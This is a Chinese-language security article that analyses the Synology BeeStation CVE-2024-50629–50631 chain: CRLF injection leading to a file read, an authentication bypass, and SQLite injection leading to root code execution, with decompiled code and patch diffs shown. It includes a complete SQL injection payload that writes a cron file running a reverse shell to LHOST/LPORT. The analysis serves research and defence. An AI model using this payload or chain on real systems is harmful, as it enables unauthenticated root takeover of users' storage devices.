摘要

這份報告詳細分析了影響 Synology BeeStation 平台的一個關鍵漏洞鏈 (CVE-2024-50629 到 CVE-2024-50631),該漏洞最終導致未經認證的遠端程式執行 (Remote Code Execution, RCE) [1]。分析重點關注每個漏洞的潛在技術機制,並強調了一種新型的攻擊技巧,該技巧利用 SQLite Injection 來針對系統的 cron 排程器,在缺乏 PHP 解譯器的環境中提供可靠的 RCE 向量。

從低危漏洞到全面入侵:三個被低估的弱點如何串聯成Synology致命攻擊 | 資訊安全新聞

漏洞鏈概觀

RCE 是透過串聯三個不同的漏洞來實現的,每個漏洞都解決了下一階段的必要先決條件。攻擊鏈從未經認證的資訊外洩發展到認證繞過,最後到經認證後的 RCE。這證明了一個引人注目的案例,說明看似低嚴重性的原語(Primitives)如何組合起來實現完整的系統危害 [1]。

CVE-2024-50629: CRLF Injection 和資訊揭露

最初的漏洞是在 SYNO.API.Auth.so 函式庫的 SYNO::auth_redirect_uri_run 函式中發現的 CRLF Injection (Carriage Return Line Feed) [1]。該函式處理 redirect_url 參數,該參數隨後用於在 302 Found HTTP Response 中建構 Location header。關鍵是,未修補版本的程式碼缺乏明確的驗證來拒絕使用者提供輸入中的 \r (Carriage Return) 和 \n (Line Feed) 字元 [1]。

在修補之前,有漏洞的程式碼區段允許攻擊者透過將 %0d%0a (URL 編碼的 CRLF) 附加到 redirect_url 來注入任意 HTTP headers。該修補程式引入了明確的檢查來防止這種情況:

  1. // Vulnerable code snippet (Conceptual C++ analysis)
  2. // ...
  3. // v29 is the redirect_url parameter
  4. // ...
  5. __printf_chk(2LL, "Status: 302 Found\r\n");
  6. __printf_chk(2LL, "Location: %s\r\n", (const char *)v23); // [!] v23 is unsanitized redirect_url
  7. __printf_chk(2LL, "\r\n");
  8. // Patch introduced validation:
  9. // + if ( std::string::find(&v23, "\r", 0LL, 1LL) != -1 || std::string::find(&v23, "\n", 0LL, 1LL) != -1 ) // [!]
  10. // + {
  11. // +LABEL_18:
  12. // ...

利用 CRLF injection漏洞,可以呼叫 X-Accel-Redirect Header,這是 Nginx Web 伺服器的特性 [3]。透過注入這個 header,攻擊者可以強制內部重新導向到 local 檔案更新,有效地實現類似 Server-Side Request Forgery (SSRF) 的行為來讀取受保護的檔案 [1]。裝置上的 Nginx 設定對 /volume1/ 目錄公開了一個內部 alias,該 alias 被用於存取應用程式 log [1]。目標檔案 /volume1/@synologydrive/log/cloud-workerd.log 包含初始化資訊,會洩露一個有效的系統使用者名稱(例如 kiddo.pwn ),這是後續認證繞過階段的必要先決條件 [1]。

CVE-2024-50630: 不當的認證邏輯繞過

第二個漏洞是 syncd daemon 中的 不當認證 缺陷,該 daemon 是 Synology Drive Server 套件的核心 [1]。該缺陷位於 AuthenticatorMiddleware::AuthSession 函式的邏輯流程中,該函式處理來自 webapi (透過 Unix Domain Socket) 和直接 TCP port 的認證請求 [1]。

認證邏輯依特定順序進行評估:

graph TD                 A[Request Received] --> B{Username and Password
Present?};                 B -- Yes --> C[AuthByUserPassword];                 B -- No --> D{Is Request
From
Local Domain Socket?};                 D -- Yes --> E[AuthByDomainSocket];                 D -- No --> F[Authentication Fails];                 E --> G[Authentication Succeeds];                 C --> H[Authentication Result];

Figure 1: Simplified Authentication Flow in AuthenticatorMiddleware::AuthSession .

關鍵的疏忽是 fall-through 邏輯 [1]。透過刻意在 request 中省略 password 參數,執行流程繞過了標準的 AuthByUserPassword 檢查。由於 request 是透過 /webapi/entry.cgi 在 local 代理的, Request::IsFromLocal 檢查回傳 true,導致執行 AuthenticatorMiddleware::AuthByDomainSocket [1]。這個函式信任 local 來源,並僅根據使用者名稱來驗證 session,而該使用者名稱先前已透過 CRLF injection 洩露 [1]。這個邏輯缺陷允許未經認證的攻擊者取得有效的 access_token ,將攻擊升級到經認證後的環境。

CVE-2024-50631: SQL Injection 和新型 Crontab RCE 技巧

最後一個也是技術上最重要的漏洞是 syncd daemon 處理 update_settings command 中的 SQL Injection 缺陷,該漏洞透過新取得的認證 Session 暴露出來。 [1]。該漏洞源於使用者可控的字串參數 sharing_link_customization sharing_link_fully_custom_url 直接串接到 UPDATE SQL 敘述中,而沒有適當的清理 [1]。

該漏洞的修補涉及加入 DBBackend::DBEngine::EscapeString 呼叫來清理輸入字串,如 libsynosyncservercore.so 的修補差異所示 [1]:

  1. // Patch diff showing the fix for SQL Injection
  2. __int64 __fastcall synodrive::db::syncfolder::ManagerImpl::UpdateApplicationSettings(...) {
  3. // ...
  4. + Op = db::ConnectionHolder::GetOp(this);
  5. + db::ApplicationSetting::GetSharingLinkCustomization[abi:cxx11](v113, a2);
  6. + DBBackend::DBEngine::EscapeString(v86, Op, v113); // [!] Sanitization added
  7. + // ...
  8. + v6 = db::ConnectionHolder::GetOp(this);
  9. + db::ApplicationSetting::GetSharingLinkFullyCustomURL[abi:cxx11](v113, a2);
  10. + DBBackend::DBEngine::EscapeString(v88, v6, v113); // [!] Sanitization added
  11. // ...
  12. }

在漏洞尚未修補的情況下,攻擊者能透過插入雙引號( " )來結束原本的字串內容,並進一步插入任意的 SQL 指令,形成 SQL Injection 攻擊 [1]。實現 RCE 的主要挑戰是目標系統上沒有 PHP 解譯器,而 PHP 解譯器是透過 "Dirty File Write" primitive 進行 SQLite injection RCE 的傳統目標 [4]。

新型 Crontab RCE 技巧

此處介紹的攻擊技巧透過針對系統的 crontab 排程器而非 web shell,將 "Dirty File Write" primitive 普遍化 [1]。SQLite injection 用於執行 ATTACH DATABASE command,該 command 會在任意位置(例如 /etc/cron.d/pwn.task )建立一個新的檔案(一個 SQLite 資料庫)[1]。

繞過 "Binary Pollution" 限制——即產生的檔案包含 binary SQLite headers 和 metadata——的關鍵是 cron daemon 的 容錯能力 [5]。文件指出,當 cron daemon 在讀取設定檔時,若遇到格式錯誤的設定行,會予以忽略,並繼續掃描檔案以找出可正常執行的排程項目[1]。透過用換行字元 ( \n ) 包裹 malicious crontab entry,有效的 command 就與 binary garbage 隔離,然後 cron daemon 會跳過這些 garbage[1]。

Payload 的建構如下:

  1. // SQLite Injection Payload to write to crontab
  2. payload = '";'
  3. payload += "ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;" // 1. Attach new file
  4. payload += "CREATE TABLE cron.tab (dataz text);"
  5. payload += "INSERT INTO cron.tab (dataz) VALUES ('\n* * * * * root bash -i >& /dev/tcp/LHOST/LPORT 0>&1\n');" // 2. Inject crontab entry with newlines
  6. payload += "--" // 3. Comment out remainder of original query

這個 payload 成功地將一個 reverse shell command 注入到一個新的 crontab 檔案中。當 cron daemon 解析檔案時,它會遇到 binary header,將其視為無效行,然後執行有效的、隔離的 crontab entry,從而導致 root reverse shell [1]。

graph TD                 A[SQL Injection Triggered] --> B[ATTACH DATABASE
/etc/cron.d/pwn.task];                 B --> C[File
/etc/cron.d/pwn.task
Created];                 C --> D["INSERT INTO ... VALUES
('\nCRON_ENTRY\n')"];                 D --> E[File Contains:
Binary Header +
\nCRON_ENTRY\n +
Metadata];                 E --> F[Cron Daemon Parses File];                 F --> G{Line 1:
Binary Header};                 G -- Malformed --> H[Cron Ignores Line];                 H --> I{Line 2:
* * * * * root COMMAND};                 I -- Valid --> J["Execute COMMAND
(RCE)"];

Figure 2: Crontab RCE Exploitation Flow via SQLite Dirty File Write.

結論

Synology BeeStation RCE 攻擊鏈是串聯漏洞累計影響的有力例證。雖然 CRLF injection 和認證繞過意義重大,但最後階段的 RCE 技巧因其技術獨創性而特別值得注意。透過將 SQLite "Dirty File Write" primitive 的目標從傳統的 PHP web shell 轉移到容錯的 crontab 排程器,為缺乏 PHP 解譯器的 Linux 環境建立了一個普遍且可靠的 RCE 向量 [1]。這項技巧將檔案寫入 primitive 的利用普遍化,為滲透測試人員和研究人員在各種嵌入式和伺服器環境中提供了可行的替代方案。